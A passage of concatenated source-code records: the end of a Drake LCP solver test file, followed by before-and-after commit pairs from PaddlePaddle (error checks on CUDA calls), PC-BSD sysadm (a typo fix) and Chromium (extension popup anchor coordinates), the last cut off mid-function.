// Problem from example 10.2.3 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 3, 3> M;
M <<
0, -1, 2,
2, 0, -2,
-1, 1, 0;
Eigen::Matrix<double, 1, 3> q;
q << -3, 6, -1;
Eigen::Matrix<double, 1, 3> z;
z << 0, 1, 3;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testProblem4) {
// Problem from example 10.2.4 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 4, 4> M;
M <<
0, 0, 10, 20,
0, 0, 30, 15,
10, 20, 0, 0,
30, 15, 0, 0;
Eigen::Matrix<double, 1, 4> q;
q.fill(-1);
// This solution is the third in the book, which it explicitly
// states cannot be found using the Lemke-Howson algorithm.
Eigen::VectorXd z(4);
z << 1./90., 2./45., 1./90., 2./45.;
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
Eigen::VectorXd fast_z;
bool result = l.lcp_fast(M, q, &fast_z);
EXPECT_TRUE(CompareMatrices(fast_z, z, epsilon, MatrixCompareType::absolute));
// TODO sammy the Lemke solvers find no solution at all, however.
fast_z.setZero();
result = l.lcp_lemke(M, q, &fast_z);
EXPECT_FALSE(result);
Eigen::SparseMatrix<double> M_sparse = makeSparseMatrix(M);
result = l.lcp_lemke(M_sparse, q, &fast_z);
EXPECT_FALSE(result);
}
TEST(testMobyLCP, testProblem6) {
// Problem from example 10.2.9 in "Handbook of Test Problems in
// Local and Global Optimization".
Eigen::Matrix<double, 4, 4> M;
M <<
11, 0, 10, -1,
0, 11, 10, -1,
10, 10, 21, -1,
1, 1, 1, 0; // Note that the (3, 3) position is incorrectly
// shown in the book with the value 1.
// Pick a couple of arbitrary points in the [0, 23] range.
for (double l = 1; l <= 23; l += 15) {
Eigen::Matrix<double, 1, 4> q;
q << 50, 50, l, -6;
Eigen::Matrix<double, 1, 4> z;
z << (l + 16.) / 13.,
(l + 16.) / 13.,
(2. * (23 - l)) / 13.,
(1286. - (9. * l)) / 13;
runLCP(M, q, z, true);
}
// Try again with a value > 23 and see that we've hit the limit as
// described. The fast solver has stopped working in this case
// without regularization.
Eigen::Matrix<double, 1, 4> q;
q << 50, 50, 100, -6;
Eigen::Matrix<double, 1, 4> z;
z << 3, 3, 0, 83;
runLCP(M, q, z, true);
}
TEST(testMobyLCP, testEmpty) {
Eigen::MatrixXd empty_M(0, 0);
Eigen::VectorXd empty_q(0);
Eigen::VectorXd z;
Drake::MobyLCPSolver l;
l.setLoggingEnabled(verbose);
bool result = l.lcp_fast(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
Eigen::SparseMatrix<double> empty_sparse_M(0,0);
result = l.lcp_lemke(empty_sparse_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_fast_regularized(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke_regularized(empty_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
result = l.lcp_lemke_regularized(empty_sparse_M, empty_q, &z);
EXPECT_TRUE(result);
EXPECT_EQ(z.size(), 0);
}
} // namespace test
} // namespace drake
<|endoftext|>
|
<commit_before>// Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/fluid/framework/details/op_handle_base.h"
namespace paddle {
namespace framework {
namespace details {
std::string OpHandleBase::DebugString() const {
std::stringstream ss;
ss << "(";
for (auto *var : inputs_) {
ss << var->DebugString() << ", ";
}
ss << ") --> (";
for (auto *var : outputs_) {
ss << var->DebugString() << ", ";
}
ss << ")\n";
return ss.str();
}
OpHandleBase::~OpHandleBase() {
#ifdef PADDLE_WITH_CUDA
for (auto &ev : events_) {
cudaEventDestroy(ev.second);
}
#endif
}
void OpHandleBase::Run(bool use_event) {
#ifdef PADDLE_WITH_CUDA
if (events_.empty() && use_event) {
for (auto &p : dev_ctx_) {
int dev_id = boost::get<platform::CUDAPlace>(p.first).device;
cudaSetDevice(dev_id);
cudaEventCreateWithFlags(&events_[dev_id], cudaEventDisableTiming);
}
}
#else
PADDLE_ENFORCE(!use_event);
#endif
RunImpl();
#ifdef PADDLE_WITH_CUDA
if (use_event) {
for (auto &p : dev_ctx_) {
int dev_id = boost::get<platform::CUDAPlace>(p.first).device;
auto stream =
static_cast<platform::CUDADeviceContext *>(p.second)->stream();
cudaEventRecord(events_.at(dev_id), stream);
}
}
#endif
}
void OpHandleBase::Wait(platform::DeviceContext *waited_dev) {
#ifdef PADDLE_WITH_CUDA
if (platform::is_cpu_place(waited_dev->GetPlace()) || events_.empty()) {
for (auto &dev_ctx : dev_ctx_) {
dev_ctx.second->Wait();
}
} else {
auto stream =
static_cast<platform::CUDADeviceContext *>(waited_dev)->stream();
for (auto &ev : events_) {
PADDLE_ENFORCE(cudaStreamWaitEvent(stream, ev.second, 0));
}
}
#else
for (auto &dev_ctx : dev_ctx_) {
dev_ctx.second->Wait();
}
#endif
}
void OpHandleBase::AddInput(VarHandleBase *in) {
this->inputs_.emplace_back(in);
in->pending_ops_.insert(this);
}
void OpHandleBase::AddOutput(VarHandleBase *out) {
outputs_.emplace_back(out);
out->generated_op_ = this;
}
} // namespace details
} // namespace framework
} // namespace paddle
<commit_msg>Add Paddle Enforce<commit_after>// Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/fluid/framework/details/op_handle_base.h"
namespace paddle {
namespace framework {
namespace details {
std::string OpHandleBase::DebugString() const {
std::stringstream ss;
ss << "(";
for (auto *var : inputs_) {
ss << var->DebugString() << ", ";
}
ss << ") --> (";
for (auto *var : outputs_) {
ss << var->DebugString() << ", ";
}
ss << ")\n";
return ss.str();
}
OpHandleBase::~OpHandleBase() {
#ifdef PADDLE_WITH_CUDA
for (auto &ev : events_) {
PADDLE_ENFORCE(cudaEventDestroy(ev.second));
}
#endif
}
void OpHandleBase::Run(bool use_event) {
#ifdef PADDLE_WITH_CUDA
if (events_.empty() && use_event) {
for (auto &p : dev_ctx_) {
int dev_id = boost::get<platform::CUDAPlace>(p.first).device;
PADDLE_ENFORCE(cudaSetDevice(dev_id));
PADDLE_ENFORCE(
cudaEventCreateWithFlags(&events_[dev_id], cudaEventDisableTiming));
}
}
#else
PADDLE_ENFORCE(!use_event);
#endif
RunImpl();
#ifdef PADDLE_WITH_CUDA
if (use_event) {
for (auto &p : dev_ctx_) {
int dev_id = boost::get<platform::CUDAPlace>(p.first).device;
auto stream =
static_cast<platform::CUDADeviceContext *>(p.second)->stream();
PADDLE_ENFORCE(cudaEventRecord(events_.at(dev_id), stream));
}
}
#endif
}
void OpHandleBase::Wait(platform::DeviceContext *waited_dev) {
#ifdef PADDLE_WITH_CUDA
if (platform::is_cpu_place(waited_dev->GetPlace()) || events_.empty()) {
for (auto &dev_ctx : dev_ctx_) {
dev_ctx.second->Wait();
}
} else {
auto stream =
static_cast<platform::CUDADeviceContext *>(waited_dev)->stream();
for (auto &ev : events_) {
PADDLE_ENFORCE(cudaStreamWaitEvent(stream, ev.second, 0));
}
}
#else
for (auto &dev_ctx : dev_ctx_) {
dev_ctx.second->Wait();
}
#endif
}
void OpHandleBase::AddInput(VarHandleBase *in) {
this->inputs_.emplace_back(in);
in->pending_ops_.insert(this);
}
void OpHandleBase::AddOutput(VarHandleBase *out) {
outputs_.emplace_back(out);
out->generated_op_ = this;
}
} // namespace details
} // namespace framework
} // namespace paddle
<|endoftext|>
|
<commit_before>//===========================================
// PC-BSD source code
// Copyright (c) 2016, PC-BSD Software/iXsystems
// Available under the 3-clause BSD license
// See the LICENSE file for full details
//===========================================
#include "page_source_control.h"
#include "ui_page_source_control.h" //auto-generated from the .ui file
#define PAGE_ID "page_sourcectl_request_"
#define FETCH_PROCESS_ID "system_fetch_ports_tree"
sourcectl_page::sourcectl_page(QWidget *parent, sysadm_client *core) : PageWidget(parent, core), ui(new Ui::sourcectl_ui){
ui->setupUi(this);
}
sourcectl_page::~sourcectl_page(){
}
//Initialize the CORE <-->Page connections
void sourcectl_page::setupCore(){
connect(CORE, SIGNAL(newReply(QString, QString, QString, QJsonValue)), this, SLOT(ParseReply(QString, QString, QString, QJsonValue)) );
}
//Page embedded, go ahead and startup any core requests
void sourcectl_page::startPage(){
//Let the main window know the name of this page
emit ChangePageTitle( tr("System Sources") );
//Now run any CORE communications
CORE->registerForEvents(sysadm_client::DISPATCHER);
}
void sourcectl_page::ParseReply(QString id, QString namesp, QString name, QJsonValue args){
if(!id.startsWith(PAGE_ID)){ return; }
if(namesp == "error" || name == "error"){ qDebug() << "Got Error:" << id << args; return; }
//Now parse the reply
if(id==PAGE_ID+"fetch_ports"){
qDebug() << "successful start of ports fetch";
}
}
void sourcectl_page::ParseEvent(sysadm_client::EVENT_TYPE type, QJsonValue val){
if( type!=sysadm_client::DISPATCHER ){ return; }
if(!val.toObject().value("process_id").toString() != FETCH_PROCESS_ID ){ return; }
qDebug() << "Got fetch process:" << val.toObject();
bool isRunning = val.toObject().value("state").toString() == "running";
qDebug() << " - is Running:" << isRunning;
}
void sourcectl_page::send_fetch_ports(){
QJsonObject obj;
obj.insert("action","fetch_ports");
//obj.insert("ports_dir","/usr/ports-optional-dir");
communicate(PAGE_ID+"fetch_ports", "sysadm", "systemmanager",obj);
}
<commit_msg>Oops - fix a couple typos in the new page<commit_after>//===========================================
// PC-BSD source code
// Copyright (c) 2016, PC-BSD Software/iXsystems
// Available under the 3-clause BSD license
// See the LICENSE file for full details
//===========================================
#include "page_source_control.h"
#include "ui_page_source_control.h" //auto-generated from the .ui file
#define PAGE_ID QString("page_sourcectl_request_")
#define FETCH_PROCESS_ID QString("system_fetch_ports_tree")
sourcectl_page::sourcectl_page(QWidget *parent, sysadm_client *core) : PageWidget(parent, core), ui(new Ui::sourcectl_ui){
ui->setupUi(this);
}
sourcectl_page::~sourcectl_page(){
}
//Initialize the CORE <-->Page connections
void sourcectl_page::setupCore(){
connect(CORE, SIGNAL(newReply(QString, QString, QString, QJsonValue)), this, SLOT(ParseReply(QString, QString, QString, QJsonValue)) );
}
//Page embedded, go ahead and startup any core requests
void sourcectl_page::startPage(){
//Let the main window know the name of this page
emit ChangePageTitle( tr("System Sources") );
//Now run any CORE communications
CORE->registerForEvents(sysadm_client::DISPATCHER);
}
void sourcectl_page::ParseReply(QString id, QString namesp, QString name, QJsonValue args){
if(!id.startsWith(PAGE_ID)){ return; }
if(namesp == "error" || name == "error"){ qDebug() << "Got Error:" << id << args; return; }
//Now parse the reply
if(id==PAGE_ID+"fetch_ports"){
qDebug() << "successful start of ports fetch";
}
}
void sourcectl_page::ParseEvent(sysadm_client::EVENT_TYPE type, QJsonValue val){
if( type!=sysadm_client::DISPATCHER ){ return; }
if(val.toObject().value("process_id").toString() != FETCH_PROCESS_ID ){ return; }
qDebug() << "Got fetch process:" << val.toObject();
bool isRunning = val.toObject().value("state").toString() == "running";
qDebug() << " - is Running:" << isRunning;
}
void sourcectl_page::send_fetch_ports(){
QJsonObject obj;
obj.insert("action","fetch_ports");
//obj.insert("ports_dir","/usr/ports-optional-dir");
communicate(PAGE_ID+"fetch_ports", "sysadm", "systemmanager",obj);
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/views/extensions/extension_popup.h"
#include "chrome/browser/browser.h"
#include "chrome/browser/browser_list.h"
#include "chrome/browser/browser_window.h"
#include "chrome/browser/debugger/devtools_manager.h"
#include "chrome/browser/extensions/extension_host.h"
#include "chrome/browser/extensions/extension_process_manager.h"
#include "chrome/browser/profile.h"
#include "chrome/browser/renderer_host/render_widget_host_view.h"
#include "chrome/browser/renderer_host/render_view_host.h"
#include "chrome/browser/views/frame/browser_view.h"
#include "chrome/common/extensions/extension.h"
#include "chrome/common/notification_details.h"
#include "chrome/common/notification_source.h"
#include "chrome/common/notification_type.h"
#include "third_party/skia/include/core/SkColor.h"
#include "views/widget/root_view.h"
#include "views/window/window.h"
#if defined(OS_LINUX)
#include "views/widget/widget_gtk.h"
#endif
#if defined(OS_CHROMEOS)
#include "chrome/browser/chromeos/wm_ipc.h"
#endif
using views::Widget;
// The minimum/maximum dimensions of the popup.
// The minimum is just a little larger than the size of the button itself.
// The maximum is an arbitrary number that should be smaller than most screens.
const int ExtensionPopup::kMinWidth = 25;
const int ExtensionPopup::kMinHeight = 25;
const int ExtensionPopup::kMaxWidth = 800;
const int ExtensionPopup::kMaxHeight = 600;
// The width, in pixels, of the black-border on a popup.
const int kPopupBorderWidth = 1;
const int kPopupBubbleCornerRadius = BubbleBorder::GetCornerRadius() / 2;
ExtensionPopup::ExtensionPopup(ExtensionHost* host,
views::Widget* frame,
const gfx::Rect& relative_to,
BubbleBorder::ArrowLocation arrow_location,
bool activate_on_show,
bool inspect_with_devtools,
PopupChrome chrome,
Observer* observer)
: BrowserBubble(host->view(),
frame,
gfx::Point(),
RECTANGLE_CHROME == chrome), // If no bubble chrome is to
// be displayed, then enable a
// drop-shadow on the bubble
// widget.
relative_to_(relative_to),
extension_host_(host),
activate_on_show_(activate_on_show),
inspect_with_devtools_(inspect_with_devtools),
close_on_lost_focus_(true),
closing_(false),
border_widget_(NULL),
border_(NULL),
border_view_(NULL),
popup_chrome_(chrome),
observer_(observer),
anchor_position_(arrow_location) {
AddRef(); // Balanced in Close();
set_delegate(this);
host->view()->SetContainer(this);
// We wait to show the popup until the contained host finishes loading.
registrar_.Add(this,
NotificationType::EXTENSION_HOST_DID_STOP_LOADING,
Source<Profile>(host->profile()));
// Listen for the containing view calling window.close();
registrar_.Add(this, NotificationType::EXTENSION_HOST_VIEW_SHOULD_CLOSE,
Source<Profile>(host->profile()));
// TODO(erikkay) Some of this border code is derived from InfoBubble.
// We should see if we can unify these classes.
// The bubble chrome requires a separate window, so construct it here.
if (BUBBLE_CHROME == popup_chrome_) {
gfx::NativeView native_window = frame->GetNativeView();
#if defined(OS_LINUX)
border_widget_ = new views::WidgetGtk(views::WidgetGtk::TYPE_WINDOW);
static_cast<views::WidgetGtk*>(border_widget_)->MakeTransparent();
static_cast<views::WidgetGtk*>(border_widget_)->make_transient_to_parent();
#else
border_widget_ = Widget::CreatePopupWidget(Widget::Transparent,
Widget::NotAcceptEvents,
Widget::DeleteOnDestroy);
#endif
border_widget_->Init(native_window, bounds());
#if defined(OS_CHROMEOS)
chromeos::WmIpc::instance()->SetWindowType(
border_widget_->GetNativeView(),
chromeos::WmIpc::WINDOW_TYPE_CHROME_INFO_BUBBLE,
NULL);
#endif
// Keep relative_to_ in frame-relative coordinates to aid in drag
// positioning.
gfx::Point origin = relative_to_.origin();
views::View::ConvertPointToView(NULL, frame_->GetRootView(), &origin);
relative_to_.set_origin(origin);
border_ = new BubbleBorder;
border_->set_arrow_location(arrow_location);
border_view_ = new views::View;
border_view_->set_background(new BubbleBackground(border_));
border_view_->set_border(border_);
border_widget_->SetContentsView(border_view_);
// Ensure that the popup contents are always displayed ontop of the border
// widget.
border_widget_->MoveAbove(popup_);
} else {
// Otherwise simply set a black-border on the view containing the popup
// extension view.
views::Border* border = views::Border::CreateSolidBorder(kPopupBorderWidth,
SK_ColorBLACK);
view()->set_border(border);
}
}
ExtensionPopup::~ExtensionPopup() {
// The widget is set to delete on destroy, so no leak here.
if (border_widget_)
border_widget_->Close();
}
void ExtensionPopup::Hide() {
BrowserBubble::Hide();
if (border_widget_)
border_widget_->Hide();
}
void ExtensionPopup::Show(bool activate) {
if (visible())
return;
#if defined(OS_WIN)
if (frame_->GetWindow())
frame_->GetWindow()->DisableInactiveRendering();
#endif
ResizeToView();
// Show the border first, then the popup overlaid on top.
if (border_widget_)
border_widget_->Show();
BrowserBubble::Show(activate);
}
void ExtensionPopup::ResizeToView() {
// We'll be sizing ourselves to this size shortly, but wait until we
// know our position to do it.
gfx::Size new_size = view()->size();
// Convert rect to screen coordinates.
gfx::Rect rect = relative_to_;
gfx::Point origin = rect.origin();
views::View::ConvertPointToScreen(frame_->GetRootView(), &origin);
rect.set_origin(origin);
rect = GetOuterBounds(rect, new_size);
origin = rect.origin();
views::View::ConvertPointToView(NULL, frame_->GetRootView(), &origin);
if (border_widget_) {
// Set the bubble-chrome widget according to the outer bounds of the entire
// popup.
border_widget_->SetBounds(rect);
// Now calculate the inner bounds. This is a bit more convoluted than
// it should be because BrowserBubble coordinates are in Browser coordinates
// while |rect| is in screen coordinates.
gfx::Insets border_insets;
border_->GetInsets(&border_insets);
origin.set_x(origin.x() + border_insets.left() + kPopupBubbleCornerRadius);
origin.set_y(origin.y() + border_insets.top() + kPopupBubbleCornerRadius);
SetBounds(origin.x(), origin.y(), new_size.width(), new_size.height());
} else {
SetBounds(origin.x(), origin.y(), rect.width(), rect.height());
}
}
void ExtensionPopup::BubbleBrowserWindowMoved(BrowserBubble* bubble) {
ResizeToView();
}
void ExtensionPopup::BubbleBrowserWindowClosing(BrowserBubble* bubble) {
if (!closing_)
Close();
}
void ExtensionPopup::BubbleGotFocus(BrowserBubble* bubble) {
// Forward the focus to the renderer.
host()->render_view_host()->view()->Focus();
}
void ExtensionPopup::BubbleLostFocus(BrowserBubble* bubble,
bool lost_focus_to_child) {
if (closing_ || // We are already closing.
inspect_with_devtools_ || // The popup is being inspected.
!close_on_lost_focus_ || // Our client is handling focus listening.
lost_focus_to_child) // A child of this view got focus.
return;
// When we do close on BubbleLostFocus, we do it in the next event loop
// because a subsequent event in this loop may also want to close this popup
// and if so, we want to allow that. Example: Clicking the same browser
// action button that opened the popup. If we closed immediately, the
// browser action container would fail to discover that the same button
// was pressed.
MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(this,
&ExtensionPopup::Close));
}
void ExtensionPopup::Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details) {
switch (type.value) {
case NotificationType::EXTENSION_HOST_DID_STOP_LOADING:
// Once we receive did stop loading, the content will be complete and
// the width will have been computed. Now it's safe to show.
if (extension_host_.get() == Details<ExtensionHost>(details).ptr()) {
Show(activate_on_show_);
if (inspect_with_devtools_) {
// Listen for the the devtools window closing.
registrar_.Add(this, NotificationType::DEVTOOLS_WINDOW_CLOSING,
Source<Profile>(extension_host_->profile()));
DevToolsManager::GetInstance()->ToggleDevToolsWindow(
extension_host_->render_view_host(), true);
}
}
break;
case NotificationType::EXTENSION_HOST_VIEW_SHOULD_CLOSE:
// If we aren't the host of the popup, then disregard the notification.
if (Details<ExtensionHost>(host()) != details)
return;
Close();
break;
case NotificationType::DEVTOOLS_WINDOW_CLOSING:
// Make sure its the devtools window that inspecting our popup.
if (Details<RenderViewHost>(extension_host_->render_view_host()) !=
details)
return;
// If the devtools window is closing, we post a task to ourselves to
// close the popup. This gives the devtools window a chance to finish
// detaching from the inspected RenderViewHost.
MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(this,
&ExtensionPopup::Close));
break;
default:
NOTREACHED() << L"Received unexpected notification";
}
}
void ExtensionPopup::OnExtensionPreferredSizeChanged(ExtensionView* view) {
// Constrain the size to popup min/max.
gfx::Size sz = view->GetPreferredSize();
view->SetBounds(view->x(), view->y(),
std::max(kMinWidth, std::min(kMaxWidth, sz.width())),
std::max(kMinHeight, std::min(kMaxHeight, sz.height())));
ResizeToView();
}
gfx::Rect ExtensionPopup::GetOuterBounds(const gfx::Rect& position_relative_to,
const gfx::Size& contents_size) const {
gfx::Size adjusted_size = contents_size;
// If the popup has a bubble-chrome, then let the BubbleBorder compute
// the bounds.
if (BUBBLE_CHROME == popup_chrome_) {
// The rounded corners cut off more of the view than the border insets
// claim. Since we can't clip the ExtensionView's corners, we need to
// increase the inset by half the corner radius as well as lying about the
// size of the contents size to compensate.
adjusted_size.Enlarge(2 * kPopupBubbleCornerRadius,
2 * kPopupBubbleCornerRadius);
return border_->GetBounds(position_relative_to, adjusted_size);
}
// Otherwise, enlarge the bounds by the size of the local border.
gfx::Insets border_insets;
view()->border()->GetInsets(&border_insets);
adjusted_size.Enlarge(border_insets.width(), border_insets.height());
// Position the bounds according to the location of the |anchor_position_|.
int y;
if ((anchor_position_ == BubbleBorder::TOP_LEFT) ||
(anchor_position_ == BubbleBorder::TOP_RIGHT)) {
y = position_relative_to.bottom();
} else {
y = position_relative_to.y() - adjusted_size.height();
}
return gfx::Rect(position_relative_to.x(), y, adjusted_size.width(),
adjusted_size.height());
}
// static
ExtensionPopup* ExtensionPopup::Show(
const GURL& url,
Browser* browser,
Profile* profile,
gfx::NativeWindow frame_window,
const gfx::Rect& relative_to,
BubbleBorder::ArrowLocation arrow_location,
bool activate_on_show,
bool inspect_with_devtools,
PopupChrome chrome,
Observer* observer) {
DCHECK(profile);
DCHECK(frame_window);
ExtensionProcessManager* manager = profile->GetExtensionProcessManager();
DCHECK(manager);
if (!manager)
return NULL;
// If no Browser instance was given, attempt to look up one matching the given
// profile.
if (!browser)
browser = BrowserList::FindBrowserWithProfile(profile);
Widget* frame_widget = Widget::GetWidgetFromNativeWindow(frame_window);
DCHECK(frame_widget);
if (!frame_widget)
return NULL;
ExtensionHost* host = manager->CreatePopup(url, browser);
if (observer)
observer->ExtensionHostCreated(host);
ExtensionPopup* popup = new ExtensionPopup(host, frame_widget, relative_to,
arrow_location, activate_on_show,
inspect_with_devtools, chrome,
observer);
// If the host had somehow finished loading, then we'd miss the notification
// and not show. This seems to happen in single-process mode.
if (host->did_stop_loading())
popup->Show(activate_on_show);
return popup;
}
void ExtensionPopup::Close() {
if (closing_)
return;
closing_ = true;
DetachFromBrowser();
if (observer_)
observer_->ExtensionPopupClosed(this);
Release(); // Balanced in ctor.
}
<commit_msg>Basic change correcting the coordinate space of the reference anchor point for the extension popup API when using borderStyle=rectangle.<commit_after>// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/views/extensions/extension_popup.h"
#include "chrome/browser/browser.h"
#include "chrome/browser/browser_list.h"
#include "chrome/browser/browser_window.h"
#include "chrome/browser/debugger/devtools_manager.h"
#include "chrome/browser/extensions/extension_host.h"
#include "chrome/browser/extensions/extension_process_manager.h"
#include "chrome/browser/profile.h"
#include "chrome/browser/renderer_host/render_widget_host_view.h"
#include "chrome/browser/renderer_host/render_view_host.h"
#include "chrome/browser/views/frame/browser_view.h"
#include "chrome/common/extensions/extension.h"
#include "chrome/common/notification_details.h"
#include "chrome/common/notification_source.h"
#include "chrome/common/notification_type.h"
#include "third_party/skia/include/core/SkColor.h"
#include "views/widget/root_view.h"
#include "views/window/window.h"
#if defined(OS_LINUX)
#include "views/widget/widget_gtk.h"
#endif
#if defined(OS_CHROMEOS)
#include "chrome/browser/chromeos/wm_ipc.h"
#endif
using views::Widget;
// The minimum/maximum dimensions of the popup.
// The minimum is just a little larger than the size of the button itself.
// The maximum is an arbitrary number that should be smaller than most screens.
const int ExtensionPopup::kMinWidth = 25;
const int ExtensionPopup::kMinHeight = 25;
const int ExtensionPopup::kMaxWidth = 800;
const int ExtensionPopup::kMaxHeight = 600;
// The width, in pixels, of the black-border on a popup.
const int kPopupBorderWidth = 1;
const int kPopupBubbleCornerRadius = BubbleBorder::GetCornerRadius() / 2;
ExtensionPopup::ExtensionPopup(ExtensionHost* host,
views::Widget* frame,
const gfx::Rect& relative_to,
BubbleBorder::ArrowLocation arrow_location,
bool activate_on_show,
bool inspect_with_devtools,
PopupChrome chrome,
Observer* observer)
: BrowserBubble(host->view(),
frame,
gfx::Point(),
RECTANGLE_CHROME == chrome), // If no bubble chrome is to
// be displayed, then enable a
// drop-shadow on the bubble
// widget.
relative_to_(relative_to),
extension_host_(host),
activate_on_show_(activate_on_show),
inspect_with_devtools_(inspect_with_devtools),
close_on_lost_focus_(true),
closing_(false),
border_widget_(NULL),
border_(NULL),
border_view_(NULL),
popup_chrome_(chrome),
observer_(observer),
anchor_position_(arrow_location) {
AddRef(); // Balanced in Close();
set_delegate(this);
host->view()->SetContainer(this);
// We wait to show the popup until the contained host finishes loading.
registrar_.Add(this,
NotificationType::EXTENSION_HOST_DID_STOP_LOADING,
Source<Profile>(host->profile()));
// Listen for the containing view calling window.close();
registrar_.Add(this, NotificationType::EXTENSION_HOST_VIEW_SHOULD_CLOSE,
Source<Profile>(host->profile()));
// TODO(erikkay) Some of this border code is derived from InfoBubble.
// We should see if we can unify these classes.
// Keep relative_to_ in frame-relative coordinates to aid in drag
// positioning.
gfx::Point origin = relative_to_.origin();
views::View::ConvertPointToView(NULL, frame_->GetRootView(), &origin);
relative_to_.set_origin(origin);
// The bubble chrome requires a separate window, so construct it here.
if (BUBBLE_CHROME == popup_chrome_) {
gfx::NativeView native_window = frame->GetNativeView();
#if defined(OS_LINUX)
border_widget_ = new views::WidgetGtk(views::WidgetGtk::TYPE_WINDOW);
static_cast<views::WidgetGtk*>(border_widget_)->MakeTransparent();
static_cast<views::WidgetGtk*>(border_widget_)->make_transient_to_parent();
#else
border_widget_ = Widget::CreatePopupWidget(Widget::Transparent,
Widget::NotAcceptEvents,
Widget::DeleteOnDestroy);
#endif
border_widget_->Init(native_window, bounds());
#if defined(OS_CHROMEOS)
chromeos::WmIpc::instance()->SetWindowType(
border_widget_->GetNativeView(),
chromeos::WmIpc::WINDOW_TYPE_CHROME_INFO_BUBBLE,
NULL);
#endif
border_ = new BubbleBorder;
border_->set_arrow_location(arrow_location);
border_view_ = new views::View;
border_view_->set_background(new BubbleBackground(border_));
border_view_->set_border(border_);
border_widget_->SetContentsView(border_view_);
// Ensure that the popup contents are always displayed ontop of the border
// widget.
border_widget_->MoveAbove(popup_);
} else {
// Otherwise simply set a black-border on the view containing the popup
// extension view.
views::Border* border = views::Border::CreateSolidBorder(kPopupBorderWidth,
SK_ColorBLACK);
view()->set_border(border);
}
}
ExtensionPopup::~ExtensionPopup() {
// The widget is set to delete on destroy, so no leak here.
if (border_widget_)
border_widget_->Close();
}
void ExtensionPopup::Hide() {
BrowserBubble::Hide();
if (border_widget_)
border_widget_->Hide();
}
void ExtensionPopup::Show(bool activate) {
if (visible())
return;
#if defined(OS_WIN)
if (frame_->GetWindow())
frame_->GetWindow()->DisableInactiveRendering();
#endif
ResizeToView();
// Show the border first, then the popup overlaid on top.
if (border_widget_)
border_widget_->Show();
BrowserBubble::Show(activate);
}
void ExtensionPopup::ResizeToView() {
// We'll be sizing ourselves to this size shortly, but wait until we
// know our position to do it.
gfx::Size new_size = view()->size();
// Convert rect to screen coordinates.
gfx::Rect rect = relative_to_;
gfx::Point origin = rect.origin();
views::View::ConvertPointToScreen(frame_->GetRootView(), &origin);
rect.set_origin(origin);
rect = GetOuterBounds(rect, new_size);
origin = rect.origin();
views::View::ConvertPointToView(NULL, frame_->GetRootView(), &origin);
if (border_widget_) {
// Set the bubble-chrome widget according to the outer bounds of the entire
// popup.
border_widget_->SetBounds(rect);
// Now calculate the inner bounds. This is a bit more convoluted than
// it should be because BrowserBubble coordinates are in Browser coordinates
// while |rect| is in screen coordinates.
gfx::Insets border_insets;
border_->GetInsets(&border_insets);
origin.set_x(origin.x() + border_insets.left() + kPopupBubbleCornerRadius);
origin.set_y(origin.y() + border_insets.top() + kPopupBubbleCornerRadius);
SetBounds(origin.x(), origin.y(), new_size.width(), new_size.height());
} else {
SetBounds(origin.x(), origin.y(), rect.width(), rect.height());
}
}
void ExtensionPopup::BubbleBrowserWindowMoved(BrowserBubble* bubble) {
ResizeToView();
}
void ExtensionPopup::BubbleBrowserWindowClosing(BrowserBubble* bubble) {
if (!closing_)
Close();
}
void ExtensionPopup::BubbleGotFocus(BrowserBubble* bubble) {
// Forward the focus to the renderer.
host()->render_view_host()->view()->Focus();
}
void ExtensionPopup::BubbleLostFocus(BrowserBubble* bubble,
bool lost_focus_to_child) {
if (closing_ || // We are already closing.
inspect_with_devtools_ || // The popup is being inspected.
!close_on_lost_focus_ || // Our client is handling focus listening.
lost_focus_to_child) // A child of this view got focus.
return;
// When we do close on BubbleLostFocus, we do it in the next event loop
// because a subsequent event in this loop may also want to close this popup
// and if so, we want to allow that. Example: Clicking the same browser
// action button that opened the popup. If we closed immediately, the
// browser action container would fail to discover that the same button
// was pressed.
MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(this,
&ExtensionPopup::Close));
}
void ExtensionPopup::Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details) {
switch (type.value) {
case NotificationType::EXTENSION_HOST_DID_STOP_LOADING:
// Once we receive did stop loading, the content will be complete and
// the width will have been computed. Now it's safe to show.
if (extension_host_.get() == Details<ExtensionHost>(details).ptr()) {
Show(activate_on_show_);
if (inspect_with_devtools_) {
// Listen for the the devtools window closing.
registrar_.Add(this, NotificationType::DEVTOOLS_WINDOW_CLOSING,
Source<Profile>(extension_host_->profile()));
